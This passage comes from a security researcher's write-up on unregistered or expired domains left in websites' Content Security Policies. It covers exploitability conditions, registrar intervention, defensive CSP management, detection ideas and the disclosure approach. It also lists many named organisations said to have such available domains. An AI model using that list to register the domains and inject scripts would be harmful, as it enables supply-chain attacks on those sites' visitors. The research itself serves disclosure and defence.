  4. Active Usage Validation: Can't automatically determine if scripts are actively loaded

Future Improvements

  1. Directive-Aware Scanning: Parse which directive each domain appears in
  2. SRI Detection: Automated checking for integrity attributes
  3. Active Usage Validation: Browser automation to verify actual script loading
  4. Historical Tracking: Monitor domain availability changes over time
  5. Integration: SIEM/SOAR connectors for enterprise use

Conclusion

We found 65+ available domains in CSP policies across 33 organizations, affecting an estimated 48,000+ websites via PublicWWW. However, actual exploitability requires:

  1. Domain in script-src (not just img-src or style-src)
  2. Active script loading from that domain
  3. No SRI protection
  4. Successful domain registration
  5. Infrastructure setup (DNS, SSL, hosting)

Realistic Impact: 10-30% of PublicWWW results are likely exploitable for JavaScript injection, still representing significant risk.

Key Takeaways:

  • CSP misconfigurations are common
  • Supply chain risks are real (one domain affects thousands)
  • Detection engineering is harder than it seems
  • SRI is underutilized but highly effective
  • Responsible disclosure via bug bounty platforms is painful

Recommendations:

  1. Audit your CSP policies now
  2. Implement SRI for external scripts
  3. Reduce trusted domain count
  4. Monitor domain expirations (or pay for a service that does)
  5. Consider defensive registration only as last resort

Acknowledgments

  • PublicWWW for web search API

  • WhoAPI for domain availability checking

  • Organizations that responded to our LinkedIn DMs

  • Greez to 'The Other Chat' ... and Juv.


List of Affected Organisations to date to sensationalise my work (haha)

45 organisations were found with available domains in their CSP policies:

Witnessed Ghosting: List so far

we're leaving out the availables:

Organization Count Organization Count
aaa.com 2 abc.es 1
accenture.com 2 alamy.com 2
americanexpress.com 3 amtrak.com 15
anu.edu.au 1 arizona.edu 1
asahi.com 1 astm.org 1
au.dk 1 azurewebsites.net 1
bankofamerica.com 1 bcg.com 1
bhf.org.uk 3 blackrock.com 1
bloomberg.com 1 bmw.com 2
bmwgroup.com 3 burberry.com 1
cambridge.org 1 cancerresearchuk.org 1
capgemini.com 1 case.edu 1
census.gov 1 chase.com 1
cloudfront.net 2 cloudwaysapps.com 14
cmegroup.com 2 cmegroup.com 2
coca-cola.com 1 cvs.com 1
de.com 1 dhl.com 1
donorbox.org 1 ebay.ca 2
ebay.com.au 2 ebay.com 1
ebay.de 1 experian.com 2
ey.com 2 fao.org 1
fifa.com 2 fujitsu.com 1
gencat.cat 1 govt.nz 3
gulfnews.com 14 heart.org 1
hermes.com 1 hollywoodreporter.com 1
hpe.com 1 huawei.com 2
icrc.org 1 impress.co.jp 1
intel.com 1 ipsos.com 1
iqiyi.com 1 jnj.com 1
jst.go.jp 1 leagueoflegends.com 1
lexisnexis.com 5 libero.it 1
linktr.ee 1 lse.ac.uk 1
mass.gov 2 mercedes-benz.com 1
michelin.com 1 mitre.org 1
mynavi.jp 4 nationaltrust.org.uk 1
netlify.app 1 note.com 1
ntu.edu.sg 3 okta.com 2
on24.com 2 panasonic.com 1
peatix.com 1 porsche.com 4
premierleague.com 1 pwc.com 4
qatarairways.com 1 rakuten.com 2
rmit.edu.au 2 siemens.com 2
simon.com 2 sky.it 1
squareup.com 1 teamviewer.com 1
thomsonreuters.com 2 toyota.com 1
uab.edu 1 uber.com 1
ucl.ac.uk 1 uga.edu 1
ui.ac.id 1 un.org 1
unicef.org 13 unity.com 1
univision.com 1 upm.es 1
usc.edu 1 uu.nl 1
uva.nl 2 uw.edu 1
verizon.com 1 webex.com 2
wellsfargo.com 1 wildapricot.org 1
wolterskluwer.com 1 wur.nl 3
yamaha.com 2 york.ac.uk 1
zomato.com 2 zoom.us 4

4. Threat Intelligence and Defensive Measures

4.1 Registrar-Level Intelligence

Screenshot 2025-10-04 at 19.53.42.png

Screenshot 2025-10-03 at 20.50.18.png

Screenshot 2025-10-03 at 20.47.10.png

Screenshot 2025-10-03 at 20.25.38.png

Where Threat Intelligence Should Exist:

Domain registrars and registry operators are uniquely positioned to prevent malicious registration of ghosted domains.

Registry-Level Protection:

Registries (TLD operators) should maintain threat intelligence feeds of domains identified in CSP policies at scale. During this research:

Example: Nominet (.uk registry) - Proactively removed a small number of high-risk .uk domains found in eBay's CSP policies, preventing malicious registration. (Nice! - but also boo!, but actually Nice)

Example: Cloudflare Registrar - Similarly intervened on eBay domains, demonstrating rapid response capability.

Key Observation: The number of domains protected through registrar intervention was very low (fewer than 5 total). This demonstrates both the capability and current limitations of registrar-level protection.

4.2 CSP Management Best Practices

Recommended CSP Lifecycle Management:

1. Domain Inventory with WHOIS Integration

WHOIS data should be part of every CSP manager's operational checklist:

CSP Domain Inventory:
β”œβ”€ Domain Name
β”œβ”€ Purpose/Service
β”œβ”€ Owner/Vendor
β”œβ”€ WHOIS Registration Data
β”‚  β”œβ”€ Registrant
β”‚  β”œβ”€ Registrar
β”‚  β”œβ”€ Expiration Date
β”‚  └─ Transfer Lock Status
β”œβ”€ Last Verified Date
└─ Risk Assessment

2. Vendor Assurance and Supply Chain Risk

  • Require vendors to prove domain ownership
  • Document expected domains in contracts
  • Quarterly ownership verification
  • Automated WHOIS change monitoring

3. Threat Intelligence Integration

Pull threat intelligence into CSP management:

  • Domain registration/expiration feeds
  • Threat actor infrastructure databases
  • Supply chain compromise indicators
  • Registrar abuse notifications

4.3 Tabletop Exercise: Ghosted Domain Compromise

Scenario: A domain in your CSP policy has been registered by an unknown third party.

Key Questions:

  • Do we have an authoritative list of all CSP domains?
  • Who owns the CSP policy deployment process?
  • How quickly can we push emergency CSP updates?
  • What is our vendor escalation procedure?
  • Do we monitor for unauthorized domain registrations?

4.4 Detection Engineering

CSP Violation Monitoring:

  • Deploy CSP in report-only mode
  • Alert on unexpected domains

DNS Monitoring:

  • Alert on IP changes for CSP domains
  • Monitor for NXDOMAIN responses
  • Track WHOIS data changes

WHOIS Change Detection:

  • Automated monitoring for ownership changes
  • Alert on expiration within 90 days
  • Auto-remove from CSP on registrant change

5. Responsible Disclosure Approach

5.1 Disclosure Method

Due to challenges with bug bounty platforms for this vulnerability class, disclosure was conducted opportunistically through:

  • Primary: LinkedIn direct messages to security team members
  • Secondary: security.txt email addresses
  • Tertiary: General security@ addresses

Why This Approach:

Bug bounty platforms proved unsuitable due to:

  • Scope limitations (third-party domains often out-of-scope)
  • Difficulty explaining supply chain impact
  • Reward structures not designed for preventative findings
  • Time investment vs. payout misalignment

LinkedIn DMs demonstrated higher engagement and faster response times.

I'm at the 'Send it' phase.


Last Updated: October 3, 2025
Tool Version: Ghosted V8
Methodology: Opportunistic sampling from top 1M websites

Happy to chat and answer questions: https://www.linkedin.com/in/thecontractor/